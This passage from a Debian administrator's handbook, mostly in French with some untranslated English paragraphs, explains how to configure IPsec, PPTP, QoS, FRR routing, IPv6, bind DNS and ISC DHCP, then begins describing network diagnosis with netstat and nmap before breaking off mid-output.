The IPsec service can be controlled with systemctl; for example, systemctl start ipsec will start the IPsec service.

Malgré son statut de référence, sa complexité de mise en œuvre restreint considérablement l'usage d'IPsec dans la pratique. On préférera généralement une solution à base d'OpenVPN lorsque les tunnels VPN nécessaires sont peu nombreux et n'évoluent pas régulièrement.

ATTENTION IPsec et NAT

IPsec cohabite difficilement avec NAT sur un pare-feu. En effet, IPsec signant les paquets, toute modification de ceux-ci à la volée invalidera leur signature et les fera refuser. Les différentes implémentations d'IPsec proposent désormais la technique NAT-T (NAT Traversal, ou traversée de NAT), qui consiste à encapsuler le paquet IPsec dans un paquet UDP.

SÉCURITÉ IPsec et pare-feu

Le fonctionnement d'IPsec induit des échanges de données sur le port UDP 500 pour les échanges de clés (et aussi sur le port UDP 4 500 si NAT-T est employé). De plus, les paquets IPsec utilisent deux protocoles IP dédiés que le pare-feu doit aussi laisser passer : les protocoles numérotés 50 (ESP) et 51 (AH).

10.3.4. PPTP

PPTP (Point-to-Point Tunneling Protocol, ou protocole de tunnel en point à point) emploie deux canaux de communication, pour échanger respectivement des informations de contrôle et des données (ces dernières emploient le protocole GRE — Generic Routing Encapsulation, ou encapsulation de routage générique). Une connexion PPP standard s'établit sur le canal d'échange de données.

10.3.4.1. Configuration du client

Le paquet pptp-linux est facile à configurer. Les instructions suivantes sont inspirées de sa documentation officielle :

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Les administrateurs de Falcot ont créé plusieurs fichiers : /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot et /etc/ppp/ip-down.d/falcot.

Exemple 10.2. Fichier /etc/ppp/options.pptp

# Options PPP employées pour une connexion PPTP

lock

noauth

nobsdcomp

nodeflate

Exemple 10.3. Fichier /etc/ppp/peers/falcot

# vpn.falcot.com est le serveur PPTP

pty "pptp vpn.falcot.com --nolaunchpppd"

# la connexion s'identifiera comme utilisateur « vpn »

user vpn

remotename pptp

# la prise en charge du chiffrement est nécessaire

require-mppe-128

file /etc/ppp/options.pptp

ipparam falcot

Exemple 10.4. Fichier /etc/ppp/ip-up.d/falcot

# Créer la route vers le réseau local de Falcot

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 est le réseau distant chez Falcot

ip route add 192.168.0.0/24 dev $1

fi

Exemple 10.5. Fichier /etc/ppp/ip-down.d/falcot

# Supprimer la route vers le réseau local de Falcot

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 est le réseau distant chez Falcot

ip route del 192.168.0.0/24 dev $1

fi

SÉCURITÉ MPPE

La sécurisation de PPTP recourt à MPPE (Microsoft Point-to-Point Encryption, ou chiffrement point à point de Microsoft), fonctionnalité intégrée sous forme de module dans les noyaux Debian officiels.

10.3.4.2. Configuration du serveur

ATTENTION PPTP et pare-feu

Les pare-feu intermédiaires doivent autoriser les paquets IP employant le protocole 47 (GRE). De plus, le port 1 723 du serveur PPTP doit être ouvert pour qu'une communication puisse prendre place.

pptpd est le serveur PPTP pour Linux. Son fichier de configuration principal /etc/pptpd.conf n'a presque pas besoin de modifications ; il faut juste y renseigner localip (adresse IP locale) et remoteip (adresse IP distante). Dans le fichier suivant, le serveur PPTP a toujours l'adresse IP 192.168.0.199 et les clients PPTP reçoivent des adresses IP comprises entre 192.168.0.200 et 192.168.0.250.

Exemple 10.6. Fichier /etc/pptpd.conf

[..]

# TAG: localip

# TAG: remoteip

#       Specifies the local and remote IP address ranges.

#

#       These options are ignored if delegate option is set.

#

#       Any addresses work as long as the local machine takes care of the

#       routing.  But if you want to use MS-Windows networking, you should

#       use IP addresses out of the LAN address space and use the proxyarp

#       option in the pppd options file, or run bcrelay.

#

#       You can specify single IP addresses seperated by commas or you can

#       specify ranges, or both. For example:

#

#               192.168.0.234,192.168.0.245-249,192.168.0.254

#

#       IMPORTANT RESTRICTIONS:

#

#       1. No spaces are permitted between commas or within addresses.

#

#       2. If you give more IP addresses than the value of connections,

#          it will start at the beginning of the list and go until it

#          gets connections IPs.  Others will be ignored.

#

#       3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,

#          you must type 234-238 if you mean this.

#

#       4. If you give a single localIP, that's ok - all local IPs will

#          be set to the given one. You MUST still give at least one remote

#          IP for each simultaneous client.

#

# (Recommended)

#localip 192.168.0.1

#remoteip 192.168.0.234-238,192.168.0.245

# or

#localip 192.168.0.234-238,192.168.0.245

#remoteip 192.168.1.234-238,192.168.1.245

localip 192.168.0.199

remoteip 192.168.0.200-250

Il faut aussi modifier la configuration PPP employée par le serveur PPTP, consignée dans le fichier /etc/ppp/pptpd-options. Les paramètres importants à changer sont les noms du serveur (pptp) et du domaine (falcot.com) ainsi que les adresses IP des serveurs DNS et Wins.

Exemple 10.7. Fichier /etc/ppp/pptpd-options

# Enable connection debugging facilities.

# (see your syslog configuration for where pppd sends to)

#debug

# Name of the local system for authentication purposes

# (must match the second field in /etc/ppp/chap-secrets entries)

name pptpd

# Optional: domain name to use for authentication

## change the domainname to your local domain

domain falcot.com

# Authentication

## these are reasonable defaults for WinXXXX clients

## for the security related settings

auth

refuse-pap

refuse-chap

refuse-mschap

# Require the peer to authenticate itself using MS-CHAPv2 [Microsoft

# Challenge Handshake Authentication Protocol, Version 2] authentication.

require-mschap-v2

# Require MPPE 128-bit encryption

# (note that MPPE requires the use of MSCHAP-V2 during authentication)

require-mppe-128

# Network and Routing

## Fill in your addresses

ms-dns 192.168.0.1

ms-wins 192.168.0.1

## Fill in your netmask

netmask 255.255.255.0

## some defaults

nodefaultroute

proxyarp

lock

La dernière étape est d'enregistrer l'utilisateur vpn et le mot de passe associé dans le fichier /etc/ppp/chap-secrets. Le nom du serveur doit y être renseigné explicitement, l'astérisque (*) habituel ne fonctionnant pas. Par ailleurs, il faut savoir que les clients PPTP sous Windows s'identifient sous la forme DOMAINE\\UTILISATEUR au lieu de se contenter du nom d'utilisateur. C'est pourquoi on trouve aussi dans ce fichier l'utilisateur FALCOT\\vpn. On peut encore y spécifier individuellement les adresses IP des utilisateurs, ou indiquer un astérisque dans ce champ si l'on ne souhaite pas d'adresses fixes.

Exemple 10.8. Fichier /etc/ppp/chap-secrets

# Secrets for authentication using CHAP

# client        server  secret      IP addresses

vpn             pptp    f@Lc3au     *

FALCOT\\vpn     pptp    f@Lc3au     *

SÉCURITÉ Failles de PPTP

La première implémentation par Microsoft de PPTP fut sévèrement critiquée car elle souffrait de nombreuses failles de sécurité, pour la plupart corrigées dans la dernière version du protocole. C'est cette dernière version qui est employée par la configuration documentée dans cette section. Attention cependant, car la suppression de certaines options (notamment require-mppe-128 et require-mschap-v2) rendrait le service à nouveau vulnérable.

10.4. Qualité de service

10.4.1. Principe et fonctionnement

Le terme QoS (Quality of Service) désigne l'ensemble des techniques permettant de garantir ou d'améliorer sensiblement la qualité de service apportée à des applications. La plus populaire consiste à traiter différemment chaque type de trafic réseau ; son application principale est le shaping. Cela permet de limiter les débits attribués à certains services et/ou à certaines machines, notamment pour ne pas saturer la bande passante. Cette technique s'adapte bien au flux TCP car ce protocole s'adapte automatiquement au débit disponible.

CULTURE Net neutrality and QoS

Network neutrality is achieved when Internet service providers treat all Internet communications equally, that is, without any access limitation based on content, user, website, destination address, etc.

Quality of service can be implemented in a net neutral Internet, but only if Internet service providers can't charge a special fee for a higher-quality service.

On peut encore modifier les priorités du trafic, ce qui permet généralement de traiter d'abord les paquets relatifs à des services interactifs (ssh, telnet) ou à des services échangeant de petits blocs de données.

Les noyaux Debian intègrent le QoS et toute la panoplie des modules associés. Ils sont nombreux, et chacun offre un service différent — notamment par le biais de files d'attente pour les paquets IP (scheduler, ou ordonnanceur), dont les mécanismes variés couvrent tout le spectre des besoins possibles.

CULTURE LARTC — Linux Advanced Routing & Trafic Control

Le HOWTO du routage avancé et du contrôle de trafic sous Linux est un document de référence qui couvre de manière assez exhaustive tout ce qui concerne la qualité de service.

→ https://linuxfr.org/wiki/une-introduction-au-controle-du-trafic-reseau-avec-linux

→ https://www.lartc.org/howto/

"

10.4.2. Configuration et mise en œuvre

Le QoS se paramètre avec le logiciel tc, du paquet Debian iproute. Son interface étant extrêmement complexe, il est préférable d'employer des outils de plus haut niveau.

10.4.2.1. Minimiser le temps de latence : wondershaper

L'objectif de wondershaper (du paquet Debian éponyme) est de minimiser les temps de latence quelle que soit la charge réseau. Il l'atteint en limitant le trafic total juste en deçà de la valeur de saturation de la ligne.

Once a network interface is configured, setting up this traffic limitation is achieved by running wondershaper interface download_rate upload_rate. The interface can be enp1s0, eth0 or ppp0 for example, and both rates are expressed in kilobits per second. The wondershaper remove interface command disables traffic control on the specified interface.

For an Ethernet connection, historically this script would be called right after the interface is configured. This is done by adding up and down directives to the /etc/network/interfaces file allowing declared commands to be run, respectively, after the interface is configured and before it is deconfigured. Or in the PPP case, creating a script that calls wondershaper in /etc/ppp/ip-up.d/ will enable traffic control as soon as the connection is up. Below is an example using this first method:

Exemple 10.9. Modification du fichier /etc/network/interfaces

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100

down /sbin/wondershaper remove eth0

POUR ALLER PLUS LOIN Configuration optimale

Le fichier /usr/share/doc/wondershaper/README.Debian.gz détaille la méthode de configuration recommandée par le mainteneur du paquet. Il conseille d'effectuer des mesures de vitesses de téléchargement pour mieux évaluer les limites réelles.

10.4.2.2. Configuration standard

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

The DSCP field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service, note that the DSCP field must be set in hexadecimal:

nft add table ip mangle

nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04

nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Routage dynamique

The reference tool for dynamic routing is currently frr from the similarly-named package; it used to be quagga, and before that zebra until development of these stopped. However, frr kept the names of the programs for compatibility reasons which explains the zebra commands below.

B.A.-BA Routage dynamique

Le routage dynamique permet aux routeurs d'ajuster en temps réel les chemins employés pour faire circuler les paquets IP. Chaque protocole a sa propre méthode de définition des routes (calcul du chemin le plus court, récupération des routes annoncées par les partenaires, etc.).

In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The ip command, when route is used as the first argument, defines new routes and displays existing ones. The route command was used for that purpose, but it is deprecated in favor of ip.

FRR (FRRouting) is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon(s). The zebra and staticd daemons, which are always started, collect information from other daemons and handle static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, isisd, etc.

Daemons are enabled by creating the /etc/frr/daemon.conf config file, daemon being the name of the daemon to use, and editing the /etc/frr/daemons configuration file. The daemon config file must belong to the frr user and group with permissions of 0640 in order for the /etc/init.d/frr script or the frr.service systemd service file to invoke the daemon. The package frr provides configuration examples under /usr/share/doc/frr/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but frr-doc provides ample explanation in the form of both info and HTML files. The same contents may be more browsed on the project's website:

→ http://docs.frrouting.org/en/latest/

In addition, the syntax is very close to a standard router's configuration interface, and network administrators will adapt quickly to frr.

EN PRATIQUE OSPF, BGP ou RIP ?

OSPF (Open Shortest Path First) is generally the best protocol to use for dynamic routing on private networks, but BGP (Border Gateway Protocol) is more common for Internet-wide routing. RIP (Routing Information Protocol) is rather ancient, and hardly used anymore.

10.6. IPv6

IPv6, successor to IPv4, is a newer version of the IP protocol designed to fix its flaws, most notably the scarcity of available IP addresses. This protocol handles the network layer; its purpose is to provide a way to address machines, to convey data to their intended destination, and to handle data fragmentation if needed (in other words, to split packets into chunks with a size that depends on the network links to be used on the path and to reassemble the chunks in their proper order on arrival).

Les noyaux Debian prennent systématiquement IPv6 en charge, le code correspondant étant intégré à l'image de base (à part pour certaines architectures, qui ne le proposent que dans un module ipv6 optionnel). Les outils de base comme ping et traceroute ont pour équivalents IPv6 ping6 et traceroute6, respectivement disponibles dans les paquets Debian iputils-ping et iputils-tracepath.

On peut configurer le réseau IPv6 comme un réseau IPv4, à travers le fichier /etc/network/interfaces. Pour ne pas se contenter d'un réseau IPv6 privé, il faut cependant disposer d'un routeur capable de relayer le trafic sur le réseau IPv6 global.

Exemple 10.10. Exemple de configuration IPv6

iface enp7s0 inet6 static

address 2001:db8:1234:5::1:1/64

# Disabling auto-configuration

# autoconf 0

# The router is auto-configured and has no fixed address

# (accept_ra 1). If it had:

# gateway 2001:db8:1234:5::1

Les sous-réseaux IPv6 ont généralement un masque de 64 bits, ce qui autorise 2^64 adresses dans le sous-réseau. Cela permet l'autoconfiguration d'adresses sans état (Stateless Address Autoconfiguration ou SLAAC), qui choisit une adresse IPv6 à partir de l'adresse MAC de l'interface. Par défaut, si SLAAC est actif sur le réseau et IPv6 actif sur un ordinateur, le noyau va automatiquement trouver les routeurs IPv6 et configurer les interfaces.

Ce comportement a des implications en termes de fuites d'information. Lorsqu'on change fréquemment de réseau, par exemple avec un ordinateur portable, on ne souhaite pas forcément que l'adresse MAC fasse partie de l'adresse IPv6 publique, puisque cela permet d'identifier aisément le même ordinateur sur des réseaux différents. Ce problème se résout grâce à une extension d'IPv6 (que Debian active par défaut si une connexion IPv6 fonctionnelle est détectée à l'installation initiale), qui remplace cette adresse MAC par un composant aléatoire, qui renouvelle ce composant de manière régulière et qui utilise l'adresse résultante pour les connexions sortantes. Les connexions entrantes peuvent continuer d'utiliser les adresses générées par SLAAC. L'exemple qui suit, à insérer dans /etc/network/interfaces, active cette extension de confidentialité pour l’interface enp7s0.

Exemple 10.11. Extension d'IPv6 pour la protection des données personnelles

iface enp7s0 inet6 auto

# Prefer the randomly assigned addresses for outgoing connections.

privext 2

ASTUCE Programmes compilés avec IPv6

De nombreux logiciels ont besoin d'être adaptés à IPv6. La plupart des paquets de Debian l'ont déjà été, mais il reste des exceptions. Si votre paquet favori ne fonctionne pas encore avec IPv6, vous pouvez demander de l'aide sur la liste de diffusion debian-ipv6. Les abonnés de cette liste pourront selon les cas vous suggérer un substitut qui prend en charge IPv6 ou vous aider à soumettre un rapport de bogue pour que le problème soit correctement référencé.

→ https://lists.debian.org/debian-ipv6/

IPv6 connections can be restricted, in the same fashion as for IPv4. nft can be used to create firewall rules for IPv4 and IPv6 (see Section 14.2.3, « Syntax of nft »).

10.6.1. Tunnel

ATTENTION Tunnels IPv6 et pare-feu

Le transport d'IPv6 dans un tunnel IPv4 (par opposition à l'IPv6 natif) a besoin que le pare-feu laisse passer le trafic utilisant le protocole IPv4 numéro 41.

If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Hurricane Electric is one (free) provider of such tunnels:

→ https://tunnelbroker.net

To use a Hurricane Electric tunnel, you need to register an account, login, select a free tunnel and edit the file /etc/network/interfaces with the generated code.

You can install and configure the radvd daemon (from the similarly-named package) if you want to use the configured computer as a router for a local network. This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.

The /etc/radvd.conf configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Hurricane Electric; it can be found in the output of the ip a command, in the block concerning the he-ipv6 interface.

Then run systemctl start radvd. The IPv6 network should now work.

10.7. Serveur de noms (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 130.89.148.77 or 2001:67c:2564:a119::77.

Les informations DNS sont regroupées par zones, correspondant chacune à un domaine ou à une plage d'adresses IP (les adresses IP sont généralement allouées par blocs d'adresses consécutives). Un serveur primaire fait autorité sur le contenu d'une zone ; un serveur secondaire, normalement hébergé sur une autre machine, se contente de proposer une copie de la zone primaire, qu'il met à jour régulièrement.

Each zone can contain records of various kinds (Resource Records), these are some of the most common:

- A (address record): IPv4 address. This is the most common form to point a domain to an IPv4 address.

- CNAME (canonical name record): alias

- MX (mail exchange): an email server. This information is used by other email servers to find where to send email addressed to a given address. Each MX record has a priority. The highest-priority server (with the lowest number) is tried first (see sidebar B.A.-BA SMTP); other servers are contacted in order of decreasing priority if the first one does not reply.

- PTR (pointer): mapping of an IP address to a name. Such a record is stored in a “reverse DNS” zone named after the IP address range. For example, 1.168.192.in-addr.arpa is the zone containing the reverse mapping for all addresses in the 192.168.1.0/24 range.

- AAAA (IPv6 address record): IPv6 address.

- NS (name server): maps a name to a name server. Each domain must have at least one NS record. These records point at a DNS server that can answer queries concerning this domain; they usually point at the primary and secondary servers for the domain. These records also allow DNS delegation; for instance, the falcot.com zone can include an NS record for internal.falcot.com, which means that the internal.falcot.com zone is handled by another server. Of course, this server must declare an internal.falcot.com zone.

10.7.1. DNS software

The reference name server, Bind, was developed and is maintained by ISC (the Internet Software Consortium). It is provided in Debian by the bind9 package. Version 9 brings two major changes compared to previous versions. First, the DNS server can now run under an unprivileged user, so that a security vulnerability in the server does not grant root privileges to the attacker (as was seen repeatedly with versions 8.x).

Par ailleurs, elle prend en charge DNSSEC, norme qui permet de signer et donc d'authentifier les enregistrements DNS, interdisant ainsi toute falsification de ces données, par exemple par des intermédiaires malintentionnés.

CULTURE DNSSEC

La norme DNSSEC est assez complexe ; pour en comprendre tous les tenants et aboutissants, nous vous suggérons de consulter les informations disponibles sur le site du NIC France (organisme gérant l'attribution des domaines en .fr), et particulièrement les supports de cours. Il faut savoir que cette norme, encore relativement expérimentale, n'est pas systématiquement employée (même si elle coexiste parfaitement avec des serveurs DNS qui ne la connaissent pas).

→ https://www.afnic.fr/fr/produits-et-services/services/dnssec-1.html

10.7.2. Configuring bind

Quelle que soit la version de bind employée, les fichiers de configuration ont la même structure.

Les administrateurs de Falcot ont créé une zone primaire falcot.com pour stocker les informations relatives à ce domaine et une zone 168.192.in-addr.arpa pour les résolutions inverses des adresses IP des différents réseaux locaux.

ATTENTION Noms des zones inverses

Une zone inverse porte un nom particulier. La zone couvrant le réseau 192.168.0.0/16 s'appellera ainsi 168.192.in-addr.arpa : les composants de l'adresse IP sont inversés et suivis du suffixe in-addr.arpa.

Pour les réseaux IPv6, le suffixe est ip6.arpa et les composants de l'adresse IP (qui sont listés dans l'ordre inverse) sont les caractères de la représentation hexadécimale complète de l'adresse. Ainsi, le réseau 2001:0bc8:31a0::/48 utilise une zone nommée 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

ASTUCE Tester le serveur DNS

La commande host (du paquet bind9-host) interroge un serveur DNS, par exemple celui qu'on vient de configurer. La commande host machine.falcot.com localhost contrôlera donc la réponse du serveur DNS local pour la requête machine.falcot.com. La commande host adresseip localhost testera la résolution inverse.

On pourra configurer un serveur DNS en s'inspirant des extraits suivants, issus des fichiers de configuration de la société Falcot:

Exemple 10.12. Extrait du fichier /etc/bind/named.conf.local

zone "falcot.com" {

type master;

file "/etc/bind/db.falcot.com";

allow-query { any; };

allow-transfer {

195.20.105.149/32 ; // ns0.xname.org

193.23.158.13/32 ; // ns1.xname.org

};

};

zone "interne.falcot.com" {

type master;

file "/etc/bind/db.interne.falcot.com";

allow-query { 192.168.0.0/16; };

};

zone "168.192.in-addr.arpa" {

type master;

file "/etc/bind/db.192.168";

allow-query { 192.168.0.0/16; };

};

Exemple 10.13. Extrait du fichier /etc/bind/db.falcot.com

; Zone falcot.com

; admin.falcot.com. => contact pour la zone: admin@falcot.com

$TTL    604800

@       IN      SOA     falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

;

; Le @ fait référence au nom de la zone («falcot.com.» en l'occurrence)

; ou à $ORIGIN si cette directive a été employée

;

@       IN      NS      ns

@       IN      NS      ns0.xname.org.

interne IN      NS      192.168.0.2

@       IN      A       212.94.201.10

@       IN      MX      5 mail

@       IN      MX      10 mail2

ns      IN      A       212.94.201.10

mail    IN      A       212.94.201.10

mail2   IN      A       212.94.201.11

www     IN      A       212.94.201.11

dns     IN      CNAME   ns

ATTENTION Syntaxe d'un nom

La syntaxe désignant les noms de machines est particulière. machine sous-entend ainsi machine.domaine. S'il ne faut pas ajouter automatiquement le nom du domaine, il convient d'écrire machine. (en suffixant ce nom d'un point). Pour indiquer un nom DNS extérieur au domaine géré, on écrira donc machine.autredomaine.com. avec un point.

Exemple 10.14. Extrait du fichier /etc/bind/db.192.168

; Zone inverse pour 192.168.0.0/16

; admin.falcot.com. => contact pour la zone: admin@falcot.com

$TTL    604800

@       IN      SOA     ns.interne.falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

IN      NS      ns.interne.falcot.com.

; 192.168.0.1 -> arrakis

1.0     IN      PTR     arrakis.interne.falcot.com.

; 192.168.0.2 -> neptune

2.0     IN      PTR     neptune.interne.falcot.com.

; 192.168.3.1 -> pau

1.3     IN      PTR     pau.interne.falcot.com.

10.8. DHCP

DHCP (Dynamic Host Configuration Protocol, ou protocole de configuration dynamique des hôtes) est un moyen de rapatrier automatiquement sa configuration pour une machine qui vient de démarrer et souhaite configurer son interface réseau. De cette manière, on peut centraliser la gestion des configurations réseau et toutes les machines bureautiques pourront recevoir des réglages identiques.

Un serveur DHCP fournit de nombreux paramètres réseau et notamment une adresse IP et le réseau d'appartenance de la machine. Mais il peut aussi indiquer d'autres informations, telles que les serveurs DNS, WINS et NTP.

L'Internet Software Consortium, qui développe bind, s'occupe également du serveur DHCP. Le paquet Debian correspondant est isc-dhcp-server.

10.8.1. Configuration

The first elements that need to be edited in the DHCP server configuration files (/etc/dhcp/dhcpd.conf, and /etc/dhcp/dhcpd6.conf for IPv6) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative directive must also be enabled (or uncommented). One also needs to create a subnet section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24 local network with a router at 192.168.0.1 serving as the gateway. Available IP addresses are in the range 192.168.0.128 to 192.168.0.254.

Exemple 10.15. Extrait du fichier /etc/dhcp/dhcpd.conf

#

# Sample configuration file for ISC dhcpd for Debian

#

# The ddns-updates-style parameter controls whether or not the server will

# attempt to do a DNS update when a lease is confirmed. We default to the

# behavior of the version 2 packages ('none', since DHCP v2 didn't

# have support for DDNS.)

ddns-update-style interim;

# option definitions common to all supported networks...

option domain-name "interne.falcot.com";

option domain-name-servers ns.interne.falcot.com;

default-lease-time 600;

max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local

# network, the authoritative directive should be uncommented.

authoritative;

# Use this to send dhcp log messages to a different log file (you also

# have to hack syslog.conf to complete the redirection).

log-facility local7;

# My subnet

subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;

option broadcast-address 192.168.0.255;

range 192.168.0.128 192.168.0.254;

ddns-domainname "interne.falcot.com";

}

10.8.2. DHCP et DNS

Une fonctionnalité appréciée est l'enregistrement automatique des clients DHCP dans la zone DNS de sorte que chaque machine ait un nom significatif (et pas automatique comme machine-192-168-0-131.interne.falcot.com). Pour exploiter cette possibilité, il faut autoriser le serveur DHCP à mettre à jour la zone DNS interne.falcot.com et configurer celui-ci pour qu'il s'en charge.

In the bind case (see Section 10.7.1, « DNS software »), the allow-update directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Attention ! Une zone modifiable sera changée par bind, qui va donc réécrire régulièrement ses fichiers de configuration. Cette procédure automatique produisant des fichiers moins lisibles que les productions manuelles, les administrateurs de Falcot gèrent le sous-domaine interne.falcot.com à l'aide d'un serveur DNS délégué. Le fichier de la zone falcot.com reste ainsi entièrement sous leur contrôle.

The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim; and ddns-domain-name "internal.falcot.com"; lines.

10.9. Outils de diagnostic réseau

When a network application does not run as expected, it is important to be able to look under the hood. Even when everything seems to run smoothly, running a network diagnosis can help ensure everything is working as it should. Several diagnosis tools exists for this purpose; each one operates on a different level. It would go beyond the scope of this book to discuss all tools, so we will focus on the more well-known and commonly used tools in the following sections.

10.9.1. Diagnostic local : netstat

Citons tout d'abord la commande netstat (du paquet net-tools), qui affiche sur une machine un résumé instantané de son activité réseau. Invoquée sans arguments, cette commande se contente de lister toutes les connexions ouvertes. Or, cette liste est très vite verbeuse et indigeste. En effet, elle inclut aussi les connexions en domaine Unix, qui ne passent pas par le réseau mais sont très nombreuses sur un système standard, car utilisées par un grand nombre de démons.

On utilise donc généralement des options, qui permettent de modifier le comportement de netstat. Parmi les options les plus courantes, on trouve :

- -t, qui filtre les résultats renvoyés pour que seules les connexions TCP soient listées ;

- -u, qui fonctionne de la même manière mais pour les connexions UDP ; ces deux options ne s'excluent pas mutuellement et la présence des deux aura pour seul effet visible de masquer les connexions du domaine Unix ;

- -a, qui liste également les sockets en écoute (en attente de connexions entrantes) ;

- -n, qui affiche sous forme numérique les adresses IP (sans résolution DNS), les numéros de ports (et non leur alias tel que défini dans /etc/services) et les numéros d'utilisateurs (et non leur nom de connexion) ;

- -p, qui affiche les processus mis en jeu ; cette option n'est réellement utile que lorsque netstat est invoqué par l'utilisateur root, faute de quoi seuls les processus appartenant au même utilisateur seront listés ;

- -c, qui rafraîchit la liste des connexions en continu.

D'autres options (documentées dans la page de manuel netstat(8)) permettent de contrôler encore plus finement les résultats obtenus ; en pratique, on utilise si souvent la conjonction des cinq premières options que la commande netstat -tupan est quasiment devenue un réflexe chez les administrateurs systèmes et réseaux. Un résultat typique sur une machine peu active ressemble à ceci :

# netstat -tupan

Connexions Internet actives (serveurs et établies)

Proto Recv-Q Send-Q Adresse locale          Adresse distante        Etat        PID/Program name

tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      397/rpcbind

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      431/sshd

tcp        0      0 0.0.0.0:36568           0.0.0.0:*               LISTEN      407/rpc.statd

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      762/exim4

tcp        0    272 192.168.1.242:22        192.168.1.129:44452     ESTABLISHED 1172/sshd: roland [

tcp6       0      0 :::111                  :::*                    LISTEN      397/rpcbind

tcp6       0      0 :::22                   :::*                    LISTEN      431/sshd

tcp6       0      0 ::1:25                  :::*                    LISTEN      762/exim4

tcp6       0      0 :::35210                :::*                    LISTEN      407/rpc.statd

udp        0      0 0.0.0.0:39376           0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:996             0.0.0.0:*                           397/rpcbind

udp        0      0 127.0.0.1:1007          0.0.0.0:*                           407/rpc.statd

udp        0      0 0.0.0.0:68              0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:48720           0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:111             0.0.0.0:*                           397/rpcbind

udp        0      0 192.168.1.242:123       0.0.0.0:*                           539/ntpd

udp        0      0 127.0.0.1:123           0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:123             0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:5353            0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:39172           0.0.0.0:*                           407/rpc.statd

udp6       0      0 :::996                  :::*                                397/rpcbind

udp6       0      0 :::34277                :::*                                407/rpc.statd

udp6       0      0 :::54852                :::*                                916/dhclient

udp6       0      0 :::111                  :::*                                397/rpcbind

udp6       0      0 :::38007                :::*                                451/avahi-daemon: r

udp6       0      0 fe80::5054:ff:fe99::123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:a:123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:5:123 :::*                                539/ntpd

udp6       0      0 ::1:123                 :::*                                539/ntpd

udp6       0      0 :::123                  :::*                                539/ntpd

udp6       0      0 :::5353                 :::*                                451/avahi-daemon: r

On y retrouve bien les connexions établies (ESTABLISHED), ici deux connexions SSH, et les applications en attente de connexion (LISTEN), notamment le serveur de messagerie Exim4 sur le port 25.

10.9.2. Diagnostic distant : nmap

nmap (du paquet éponyme) est en quelque sorte l'équivalent de netstat, mais s'utilise à distance. Il permet en effet de balayer un ensemble de ports classiques d'un ou plusieurs serveurs distants et de lister parmi ces ports ceux sur lesquels une application répond aux connexions entrantes. nmap est en outre capable d'identifier certaines de ces applications, parfois avec la version correspondante. La contrepartie de cet outil est que, comme il fonctionne à distance, il ne peut pas lister les connexions établies ni obtenir d'information sur les processus ou les utilisateurs ; en revanche, on peut le lancer sur plusieurs cibles en même temps.

Une utilisation typique de nmap utilise simplement l'option -A, qui déclenche les tentatives d'identification des versions des logiciels serveurs, suivie d'une ou plusieurs adresses ou noms DNS de machines à tester. Ici encore, de nombreuses options existent et permettent de contrôler finement le comportement de nmap ; on se référera à la documentation, dans la page de manuel nmap(1).

# nmap debian

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:58 CET

Nmap scan report for debian (192.168.122.57)

Host is up (0.000087s latency).

Not shown: 996 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

79/tcp  open  finger

80/tcp  open  http

113/tcp open  ident

Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds

# nmap -A localhost

nmap -A localhost

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 20:56 CET

Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan

Service scan Timing: About 83.33% done; ETC: 20:57 (0:00:15 remaining)

